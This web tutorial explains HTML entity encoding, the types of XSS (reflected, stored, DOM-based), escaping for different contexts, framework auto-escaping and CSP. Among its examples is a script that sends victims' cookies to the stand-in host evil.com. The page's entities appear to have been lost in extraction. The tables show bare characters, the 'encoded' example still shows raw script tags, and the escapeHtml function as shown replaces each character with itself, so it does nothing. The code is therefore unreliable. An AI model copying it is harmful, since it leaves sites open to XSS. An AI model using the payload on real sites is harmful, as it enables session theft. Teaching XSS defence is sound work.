HTML Entity Encoding: Prevent XSS and Display Special Characters
Learn how HTML entity encoding works, when to use it, and how it prevents cross-site scripting (XSS) vulnerabilities in web applications.
By Belqassim Djafer · Published · Updated
What Are HTML Entities?
HTML entities are text representations of characters that have special meaning in HTML or that cannot be typed directly. They start with & and end with ;. For example:
<renders as<>renders as>&renders as&"renders as" renders as a non-breaking space
HTML parsers interpret these sequences as the corresponding character before rendering the page.
Why Entity Encoding Matters for Security
The most critical reason to encode HTML entities is to prevent Cross-Site Scripting (XSS) — one of the most common and dangerous web vulnerabilities (ranked in the OWASP Top 10).
How XSS Works Without Encoding
Imagine a comment system that renders user input directly:
<!-- User entered: <script>document.location='https://evil.com?c='+document.cookie</script> -->
<div>Hello, <script>document.location='https://evil.com?c='+document.cookie</script>!</div>
The browser executes the script, stealing the victim's cookies. This is a Stored XSS attack.
How Encoding Prevents XSS
When user input is HTML-encoded before insertion:
<div>Hello, <script>...</script>!</div>
The browser displays the angle brackets as text — the script never executes.
Types of XSS Attacks
Reflected XSS
The malicious script is embedded in a URL and reflected immediately in the response:
https://example.com/search?q=<script>alert(1)</script>
If the server echoes the q parameter without encoding, the script runs.
Stored XSS
The payload is saved to a database and served to every user who views the page. More dangerous and harder to detect.
DOM-Based XSS
The vulnerability is in client-side JavaScript that reads from DOM sources (location.hash, document.referrer) and writes to dangerous sinks (innerHTML, document.write).
Character Encoding Reference
Essential Characters to Always Encode
| Character | Entity Name | Entity Number |
|---|---|---|
& |
& |
& |
< |
< |
< |
> |
> |
> |
" |
" |
" |
' |
' |
' |
Typography Characters
| Character | Entity |
|---|---|
| Non-breaking space | |
| Em dash — | — |
| En dash – | – |
| Copyright © | © |
| Registered ® | ® |
| Trademark ™ | ™ |
| Euro € | € |
When to Encode vs. When Not To
Always encode user-controlled content before inserting into HTML
// Dangerous: raw HTML interpolation
element.innerHTML = userInput;
// Safe: text content (no encoding needed, browser handles it)
element.textContent = userInput;
// Safe: explicit encoding
element.innerHTML = escapeHtml(userInput);
Context Matters
The correct escaping function depends on where you insert data:
| Context | Escape Method |
|---|---|
| HTML element content | HTML entity encoding |
| HTML attribute value | HTML attribute encoding |
| JavaScript string | JavaScript string escaping |
| URL parameter | URL percent-encoding |
| CSS value | CSS encoding |
A common mistake is using HTML encoding in a JavaScript context:
<!-- Wrong: HTML encoding in a script block does nothing useful -->
<script>var name = "<script>";</script>
<!-- Right: JavaScript escaping -->
<script>var name = "\u003cscript\u003e";</script>
Framework Behaviour
Modern frontend frameworks automatically HTML-encode expressions:
// React: auto-escaped, safe
const name = "<script>alert(1)</script>";
return <div>Hello, {name}</div>; // renders as text
// React: dangerous explicit raw HTML
return <div dangerouslySetInnerHTML={{ __html: name }} />; // UNSAFE
<!-- Angular: auto-escaped -->
<p>{{ userInput }}</p>
<!-- Angular: unsafe bypass -->
<p [innerHTML]="userInput | bypassSecurityTrustHtml"></p>
Never bypass your framework's auto-escaping unless you absolutely must, and have fully sanitised the input first.
Server-Side Encoding
Node.js
// Using the 'he' library (HTML entities)
const he = require("he");
const safe = he.encode(userInput);
// Or a simple manual function for the 5 critical chars
function escapeHtml(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
Python (Django)
Django's template engine auto-escapes by default. To render raw HTML, you explicitly mark it safe:
from django.utils.html import escape, mark_safe
safe_output = escape(user_input) # encode HTML
raw_html = mark_safe("<b>Bold</b>") # explicitly trust
Content Security Policy (CSP) as a Second Layer
Even with encoding, a CSP header prevents inline scripts from executing, acting as defence in depth:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
Conclusion
HTML entity encoding is the primary defence against XSS attacks. The rule is simple: encode all user-controlled data before rendering it in HTML. Use your framework's built-in escaping, avoid raw HTML injection APIs, and supplement with a Content Security Policy. Use our HTML Entity Encoder and HTML Entity Decoder tools to inspect and test your encoding.